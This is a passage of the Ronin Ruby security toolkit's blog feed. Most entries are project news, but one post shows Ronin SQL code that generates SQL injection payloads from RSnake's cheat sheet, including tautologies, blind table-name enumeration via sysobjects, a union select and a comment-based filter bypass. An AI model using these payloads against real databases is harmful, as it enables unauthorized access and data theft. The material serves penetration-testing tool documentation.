      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2010/08/19/installing-ronin-edge-guide.html</id>
    <content type="html">&lt;p&gt;We just released a new &lt;a href=&quot;/docs/install/edge.html&quot;&gt;tutorial&lt;/a&gt;, aimed at
developers and users who want to run the latest changes made to Ronin.&lt;/p&gt;

&lt;p&gt;The Guide also touches on using the
&lt;a href=&quot;http://rvm.beginrescueend.com/&quot;&gt;Ruby Version Manager (RVM)&lt;/a&gt; to install
Ruby and using &lt;a href=&quot;http://www.gembundler.com/&quot;&gt;Gem Bundler&lt;/a&gt; to install the
dependencies of Ronin. Together, RVM and Gem Bundler, allows you to easily
run the edge version of Ronin right out of your home directory!&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>New Site</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2010/02/22/new-site.html" />
    <updated>Mon Feb 22 00:00:00 -0800 2010</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2010/02/22/new-site.html</id>
    <content type="html">&lt;p&gt;As listed in the &lt;a href=&quot;/blog/2010/01/12/spring-cleaning.html&quot;&gt;Spring Cleaning Campaign (2010)&lt;/a&gt;, a new website has been
designed for &lt;a href=&quot;/&quot;&gt;Ronin&lt;/a&gt;. The new site is &lt;a href=&quot;https://github.com/mojombo/jekyll#readme&quot;&gt;Jekyll&lt;/a&gt; based and hosted on
&lt;a href=&quot;https://github.com/ronin-ruby/ronin-ruby.gihtub.io#readme&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Much of the website is written in &lt;a href=&quot;http://daringfireball.net/projects/markdown/&quot;&gt;Markdown&lt;/a&gt;, which makes writting new content
a breeze. As always, we accept edits to the site, simply &lt;a href=&quot;https://github.com/ronin-ruby/ronin-ruby.gihtub.io/fork&quot;&gt;fork&lt;/a&gt; the site,
commit your changes and send one of the Ronin developers a pull-request.&lt;/p&gt;

&lt;p&gt;You'll probably notice that we also added a few new sections to the site.
The &lt;a href=&quot;/&quot;&gt;front page&lt;/a&gt; now shows three random examples pulled from the &lt;a href=&quot;/examples/&quot;&gt;Examples&lt;/a&gt;
section, illustrating some of the things Ronin can do in a few lines.
One can even subscribe to an &lt;a href=&quot;/examples/atom.xml&quot;&gt;Atom feed&lt;/a&gt; of the Examples, to get the latest
tricks.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;/downloads/&quot;&gt;Downloads&lt;/a&gt; link in the menu now points to an actual downloads page,
containing links to &lt;code&gt;.tar.gz&lt;/code&gt;, &lt;code&gt;.zip&lt;/code&gt; and &lt;code&gt;.gem&lt;/code&gt; files of Ronin.&lt;/p&gt;

&lt;p&gt;Lastly, Ronin now has a &lt;a href=&quot;/blog/&quot;&gt;Developer Blog&lt;/a&gt; with &lt;a href=&quot;http://disqus.com/&quot;&gt;DISQUS&lt;/a&gt; powered comments.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>RSnakes SQLi Cheat Sheet using Ronin SQL</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2010/02/05/rsnakes-sqli-cheat-sheet-using-ronin-sql.html" />
    <updated>Fri Feb 05 00:00:00 -0800 2010</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2010/02/05/rsnakes-sqli-cheat-sheet-using-ronin-sql.html</id>
    <content type="html">&lt;p&gt;One of the planned features listed in the &lt;a href=&quot;/blog/2010/01/12/spring-cleaning.html&quot;&gt;Spring Cleaning Campaign (2010)&lt;/a&gt;
was a simple Ruby-&gt;SQL encoder for the &lt;a href=&quot;https://github.com/ronin-ruby/ronin-sql#readme&quot;&gt;Ronin SQL&lt;/a&gt; library,
to replace the overly complex Ronin SQL DSL. This encoder would format
Ruby Integers, Strings, Arrays and Hashes into fragments of proper SQL.&lt;/p&gt;

&lt;p&gt;The Ruby-&gt;SQL encoder has gotten to the point of being able to recreate most of
the examples from &lt;a href=&quot;http://ha.ckers.org/sqlinjection/&quot;&gt;RSnake's SQL Injection Cheat Sheet&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;Load &lt;code&gt;ronin/code/sql&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;ronin/code/sql&amp;#39;&lt;/span&gt; 
&lt;span class=&quot;kp&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Ronin&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Code&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Normal SQL Injection:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:or&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:eq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;1 or 1 = 1&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Normal SQL Injection using encapsulated data:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:or&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:eq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;&amp;#39;1&amp;#39; or &amp;#39;1&amp;#39; = &amp;#39;1&amp;#39;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Blind SQL Injection creating an error using EXEC:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:sp_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:or&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:xp_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]]].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;1 exec sp_ (or exec xp_)&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Blind SQL Injection detection:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:and&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:eq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;1 and 1 = 1&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Blind SQL Injection to attempt to locate &lt;code&gt;table_name&lt;/code&gt; by brute-force
iteration through table name permutations:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:and&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:eq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:all&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:table_name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]]].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;&amp;#39;1&amp;#39; and 1 = (select count(*) from tablenames)&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Using the &lt;code&gt;USER_NAME()&lt;/code&gt; function in SQL Server to tell us if the user is
running as the administrator:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:and&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:eq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;dbo&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;1 and user_name() = &amp;#39;dbo&amp;#39;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Creating errors by calling non-existant tables:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:and&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:non_existant_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:eq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;1 and non_existant_table = &amp;#39;1&amp;#39;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Dumping usernames:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:or&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:is&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:not&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;nil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:or&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:eq&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;or username is not null or username =&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Enumerating through database table names:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:and&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ascii&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lower&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;substring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:sysObjects&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:xtype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:eq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;U&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:gt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;116&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;1 and ascii(lower(substring((select top 1 name from sysobjects where xtype = &amp;#39;U&amp;#39;),1,1))) &amp;gt; 116&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Finding user supplied tables using the &lt;code&gt;sysObjects&lt;/code&gt; table in SQL Server:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:union&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:all&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:sysObjects&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:xtype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:eq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;U&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;1 union * select (1,2,3,4,5,6,name) from sysObjects where xtype = &amp;#39;U&amp;#39;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Bypassing filter using &lt;code&gt;/**/&lt;/code&gt; instead of spaces:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;stmt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:union&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:all&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:where&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;stmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;1 union select * from where&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;stmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:spaces&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;1/**/union/**/select/**/*/**/from/**/where&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;note&quot;&gt;
  &lt;p&gt;
  I cheated a little by leaving off the prefix/suffix tick-marks used in
  SQL injections, but you get the general idea.
  &lt;/p&gt;
&lt;/div&gt;


&lt;p&gt;New SQL fragments are created using the &lt;code&gt;sql[...]&lt;/code&gt; syntax, and new SQL
function calls are created with &lt;code&gt;sql.func_name&lt;/code&gt;. Note, that you can nest
SQL fragments by using the &lt;code&gt;[sql[...]]&lt;/code&gt; or &lt;code&gt;[sql.func_name(....)]&lt;/code&gt; syntax.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Introducing ronin-support</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2010/02/04/introducing-ronin-support.html" />
    <updated>Thu Feb 04 00:00:00 -0800 2010</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2010/02/04/introducing-ronin-support.html</id>
    <content type="html">&lt;p&gt;One of the things that recently came up during the
&lt;a href=&quot;/blog/2010/01/12/spring-cleaning.html&quot;&gt;Spring Cleaning Campaign (2010)&lt;/a&gt; was that the &lt;a href=&quot;https://github.com/ronin-ruby/ronin#readme&quot;&gt;ronin&lt;/a&gt; repository had
become heavy with convenience methods. So it was decided to split the
convenience methods out of the ronin repository, and create a new
Ronin library just for support code.&lt;/p&gt;

&lt;p&gt;Introducing &lt;a href=&quot;https://github.com/ronin-ruby/ronin-support#readme&quot;&gt;ronin-support&lt;/a&gt;, a support library for Ronin. ronin-support
contains many of the convenience methods used by Ronin and additional libraries.
The ronin-support library also allows other projects to leverage Ronin
convenience methods, without needing the other dependencies of Ronin.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Official GitHub Account</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2010/01/29/official-github-account.html" />
    <updated>Fri Jan 29 00:00:00 -0800 2010</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2010/01/29/official-github-account.html</id>
    <content type="html">&lt;p&gt;While working on the &lt;a href=&quot;/blog/2010/01/12/spring-cleaning.html&quot;&gt;Spring Cleaning Campaign (2010)&lt;/a&gt;, I noticed that
Ronin had grown to 12 repositories. Being such a large and established project,
I realized it was high time to create an official GitHub account to host the
Ronin repositories.&lt;/p&gt;

&lt;p&gt;From now on, the source for all Ronin repositories is &lt;a href=&quot;https://github.com/ronin-ruby/&quot;&gt;github.com/ronin-ruby&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Spring Cleaning</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2010/01/12/spring-cleaning.html" />
    <updated>Tue Jan 12 00:00:00 -0800 2010</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2010/01/12/spring-cleaning.html</id>
    <content type="html">&lt;p&gt;During the end of 2009 I ended up taking a break from working on Ronin, and
shifted my efforts to other projects. Once 2009 came to a slow grinding
halt and made way for 2010, I decided to come back to Ronin and not let it
fall into disrepair. I and other Ronin developers compiled a list of the
radical changes we felt were necessary, in order to keep Ronin relevant.
Thus the &lt;a href=&quot;http://groups.google.com/group/ronin-ruby/browse_thread/thread/d01f1fb4460d4b22#&quot;&gt;Spring Cleaning Campaign&lt;/a&gt;
of 2010 was started.&lt;/p&gt;
</content>
  </entry>
  
</feed>
